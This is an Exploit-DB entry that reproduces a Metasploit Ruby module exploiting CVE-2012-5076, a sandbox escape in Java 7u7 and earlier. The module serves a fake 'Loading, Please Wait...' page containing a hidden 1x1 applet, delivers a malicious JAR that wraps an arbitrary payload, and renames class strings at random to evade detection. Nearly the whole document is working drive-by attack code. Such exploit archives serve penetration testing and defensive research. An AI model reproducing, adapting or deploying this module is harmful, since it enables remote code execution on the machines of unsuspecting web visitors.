Exploit-DB #24309
Description: Java Applet - AverageRangeStatisticImpl Remote Code Execution (Metasploit)
Type: remote
Platform: java
Date: 2013-01-24
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
			'Description'   => %q{
					This module abuses the AverageRangeStatisticImpl from a Java Applet to run
				arbitrary Java code outside of the sandbox, a different exploit vector than the one
				exploited in the wild in November of 2012. The vulnerability affects Java version
				7u7 and earlier.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability discovery at security-explorations
					'juan vazquez' # Metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2012-5076' ],
					[ 'OSVDB', '86363' ],
					[ 'BID', '56054' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2[PII_REDACTED].html' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
					[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
		))
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")
		@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")
		@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha("Exploit".length)
		@exploit_class.gsub!("Exploit", @exploit_class_name)
		super
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@exploit_class_name}.class", @exploit_class)
			jar.add_file("B.class", @loader_class)
			metasploit_str = rand_text_alpha("metasploit".length)
			payload_str = rand_text_alpha("payload".length)
			jar.entries.each { |entry|
				entry.name.gsub!("metasploit", metasploit_str)
				entry.name.gsub!("Payload", payload_str)
				entry.data = entry.data.gsub("metasploit", metasploit_str)
				entry.data = entry.data.gsub("Payload", payload_str)
			}
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
		html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
		html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
		html += %Q|</applet></body></html>|
		return html
	end

end